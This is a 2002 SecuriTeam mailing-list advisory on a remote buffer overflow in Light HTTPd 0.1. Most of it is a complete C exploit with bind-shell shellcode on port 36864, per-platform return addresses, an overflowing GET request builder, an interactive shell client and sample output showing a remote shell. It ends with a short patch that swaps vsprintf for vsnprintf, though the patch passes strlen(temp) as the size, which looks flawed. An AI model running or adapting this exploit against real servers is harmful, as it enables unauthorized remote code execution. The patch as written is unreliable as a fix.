

# [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-11/0038.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 11/14/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 14 Nov 2002 18:03:08 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit [http://www.worldonline.co.za/services/work\\_ip.asp](http://www.worldonline.co.za/services/work_ip.asp)

-----

## Remote Buffer Overflow Vulnerability in Light HTTPd

---

### SUMMARY

<<http://lhttpd.sourceforge.net/>> Lhttpd that is improved in ghttpd for more convenient and strong web server, is web server that offer several functions. A vulnerability in the server allows remote attackers to cause the server to crash and execute arbitrary code.

### DETAILS

Vulnerable systems:

- \* LHTTPd version 0.1

Exploit:

/\*

\*\*

\*\* Proof of Concept LIGHT HTTPd Remote exploit

\*\* by Xpl017Elz

\*\*

\*\* Testing exploit:

\*\*

\*\* bash\$ ./0x82-Remote.lhttpdxpl -h 61.37.xx.xx -t 3

\*\*

## Securiteam: [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

```
** Proof of Concept LIGHT HTTPd Remote exploit
** by Xpl017Elz
**
** Try `./0x82-Remote.lhttpdxpl -?' for more information.
**
** [1] Make shellcode.
** [2] Send exploit (bindshell) code.
** [3] Waiting, executes the shell !
** [4] Trying 61.37.xx.xx:36864 ...
** [5] Connected to 61.37.xx.xx:36864 !
**
** [*] It's shell ! :-)
**
** Linux testsub 2.4.2-3 #1 Sun Jun 24 01:31:37 KST 2001 i686 unknown
** uid=99(nobody) gid=99(nobody) groups=0(root),1(bin),2(daemon),3(sys),
** 4(adm),6(disk),10(wheel)
** exit
** bash$
**
** __
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net
**
** Special Greetings: INetCop team.
**
*/
```

```
#include <stdio.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <netinet/in.h>
```

```
#define HOST "localhost"
#define PORT 3000
```

```
struct os
{
    int num;
    char *os;
    int offset;
    unsigned long shaddr;
    int atlen;
};
```

```
struct os plat[] =
{
    /* olny test */
    {0,"RedHat Linux 6.x localhost lhttpd",1,0xbffff744,160},
    {1,"RedHat Linux 6.x remote lhttpd",0,0xbffff608,150},
    {2,"RedHat Linux 7.x localhost lhttpd",3,0xbffff650,150},
```

## Securiteam: [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

```
{3,"RedHat Linux 7.x remote lhttpd",2,0xbfffb650,160},  
{4,NULL,0,0}  
};
```

```
int setsock(char *hostname,int port);  
void getsshell(int sock);  
void usage(char *args);  
void banrl(char *args);  
int main(int argc,char *argv[])  
{  
  int sockfd1;  
  int sockfd2;  
  int ax82,bx82,cx82,dx82;  
  int type=0;  
  int port=PORT;  
  int atlen=plat[type].atlen;  
  int off=plat[type].offset;  
  char offbuf[10];  
  char hostname[0x82]=HOST;
```

```
  char ptbind[] = /* BIND SHELL ON PORT TCP/36864 */  
  //----- main: -----//  
  "\xeb\x72" /* jmp callz */  
  //----- start: -----//  
  "\x5e" /* popl %esi */  
  //----- socket() -----//  
  "\x29\xc0" /* subl %eax, %eax */  
  "\x89\x46\x10" /* movl %eax, 0x10(%esi) */  
  "\x40" /* incl %eax */  
  "\x89\xc3" /* movl %eax, %ebx */  
  "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */  
  "\x40" /* incl %eax */  
  "\x89\x46\x08" /* movl %eax, 0x08(%esi) */  
  "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */  
  "\xb0\x66" /* movb $0x66, %al */  
  "\xcd\x80" /* int $0x80 */  
  //----- bind() -----//  
  "\x43" /* incl %ebx */  
  "\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */  
  "\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */  
  "\x88\x46\x08" /* movb %al, 0x08(%esi) */  
  "\x29\xc0" /* subl %eax, %eax */  
  "\x89\xc2" /* movl %eax, %edx */  
  "\x89\x46\x18" /* movl %eax, 0x18(%esi) */  
  "\xb0\x90" /* movb $0x90, %al */  
  "\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */  
  "\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */  
  "\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */  
  "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */  
  "\xb0\x66" /* movb $0x66, %al */  
  "\xcd\x80" /* int $0x80 */
```

## Securiteam: [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

```
//----- listen() -----//
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */
"\x43" /* incl %ebx */
"\x43" /* incl %ebx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */
//----- accept() -----//
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */
"\xb0\x66" /* movb $0x66, %al */
"\x43" /* incl %ebx */
"\xcd\x80" /* int $0x80 */
//----- dup2(s, 0), dup2(s, 1), dup2(s, 2) -----//
"\x86\xc3" /* xchgb %al, %bl */
"\xb0\x3f" /* movb $0x3f, %al */
"\x29\xc9" /* subl %ecx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */
//----- execve() -----//
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */
"\xb0\x0b" /* movb $0x0b, %al */
"\xcd\x80" /* int $0x80 */
//----- callz: -----//
"\xe8\x89\xff\xff\xff" /* call start */
"/bin/sh"; /* 128byte */
```

```
char atbuf[512];
char sendnrecv[1024];
unsigned long shcode=plat[type].shaddr;
ax82=bx82=cx82=dx82=0;
```

```
memset(offbuf,0x00,10);
memset(atbuf,0x00,512);
memset(sendnrecv,0x00,1024);
```

```
(void)banrl(argv[0]);
```

```
while((dx82=getopt(argc,argv,"S:s:O:o:H:h:P:p:T:t:"))!=EOF)
{
switch(dx82)
{
case 'S':
case 's':
```

## Securiteam: [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

```
shcode=strtoul(optarg,NULL,0);
break;

case 'O':
case 'o':
off=atoi(optarg);
break;

case 'H':
case 'h':
strncpy(hostname,optarg,0x82);
break;

case 'P':
case 'p':
port=atoi(optarg);
break;

case 'T':
case 't':
type=atoi(optarg);

if(type<0 || type>3)
usage(argv[0]);

off=plat[type].offset;
shcode=plat[type].shaddr;
atlen=plat[type].atlen;
break;

case '?':
usage(argv[0]);
break;
}
}

while(off)
{
off--;
offbuf[off]='^';
}

fprintf(stdout," [1] Make shellcode.\n");
for(ax82=0;ax82<atlen-strlen(ptbind);ax82++) atbuf[ax82] = 0x90;

for(bx82=0;bx82<strlen(ptbind);bx82++) atbuf[ax82+]=ptbind[bx82];

for(cx82=ax82;cx82<ax82+0x32;cx82+=4) *(long *)&atbuf[cx82]=shcode;

snprintf(sendnrecv,1024,"GET /%s%s HTTP/1.0\r\n\n",offbuf,atbuf);
```

## Securiteam: [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

```
fprintf(stdout," [2] Send exploit (bindshell) code.\n");
sockfd1=setsock(hostname,port);
send(sockfd1,sendnrecv,strlen(sendnrecv),0);

fprintf(stdout," [3] Waiting, executes the shell !\n");
sleep(3);

fprintf(stdout," [4] Trying %s:36864 ...\n",hostname);
sockfd2=setsock(hostname,36864);
fprintf(stdout," [5] Connected to %s:36864 !\n\n",hostname);
getshell(sockfd2);
```

```
}
```

```
int setsock(char *hostname,int port)
{
    int sock;
    struct hostent *sxp;
    struct sockaddr_in sxp_addr;

    if((sxp=gethostbyname(hostname))==NULL)
    {
        perror("gethostbyname() error");
        exit(-1);
    }
    if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
        perror("socket() error");
        exit(-1);
    }

    sxp_addr.sin_family=AF_INET;
    sxp_addr.sin_port=htons(port);
    sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
    bzero(&(sxp_addr.sin_zero),8);

    if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct
sockaddr))==-1)
    {
        perror("connect() error");
        exit(-1);
    }

    return(sock);
}

void getshell(int sock)
{
    int died;
    char *command="uname -a;id\n";
    char readbuf[1024];
```

## Securiteam: [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

```
fd_set rset;

memset(readbuf,0x00,1024);

fprintf(stdout," [*] It's shell ! :-)\n\n");
send(sock,command,strlen(command),0);

for(;;)
{
FD_ZERO(&rset);
FD_SET(sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(sock+1,&rset,NULL,NULL,NULL);

if(FD_ISSET(sock,&rset))
{
died=read(sock,readbuf,1024);
if(died<=0)
{
exit(0);
}
readbuf[died]=0;
printf("%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
died=read(STDIN_FILENO,readbuf,1024);
if(died>0)
{
readbuf[died]=0;
write(sock,readbuf,died);
}
}
}
return;
}

void usage(char *args)
{
int x82;
fprintf(stderr,"\n Default Usage: %s -[option] [arguments]\n\n",args);
fprintf(stderr,"\t -h [hostname] - target host\n");
fprintf(stderr,"\t -p [port] - port number\n");
fprintf(stderr,"\t -s [addr] - &shellcode addr\n");
fprintf(stderr,"\t -o [offset] - offset\n");
fprintf(stderr,"\t -t [type] - type number\n");
fprintf(stderr," Example: %s -h localhost -p 3000 -t 1\n\n",args);
fprintf(stdout,"\t * Select target type: \n\n");
for(x82=0;plat[x82].num<4;x82++)
fprintf(stdout,"\t %d. %s\n",plat[x82].num,plat[x82].os);
fprintf(stdout,"\n Happy Exploit !\n\n");
}
```

## Securiteam: [UNIX] Remote Buffer Overflow Vulnerability in Light HTTPd

```
exit(0);
}

void banrl(char *args)
{
    fprintf(stdout, "\n Proof of Concept LIGHT HTTPd Remote exploit");
    fprintf(stdout, "\n by Xpl017Elz\n\n");
    fprintf(stdout, " Try `%s -?' for more information.\n\n", args);
}
}
```

Patch:

```
==== util.patch ====

--- util.c Mon Dec 24 09:43:29 2001
+++ util.c.patch Thu Oct 17 19:02:00 2002
@@ -220,7 +220,7 @@
va_list ap;

va_start(ap, format); // format it all into temp
- vsprintf(temp, format, ap);
+ vsnprintf(temp, strlen(temp), format, ap);
va_end(ap);

time (&t);
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:xploit@hackermail.com>>  
dong-h0un U.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[UNIX] Multiple Security Vulnerabilities in W3Mail"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)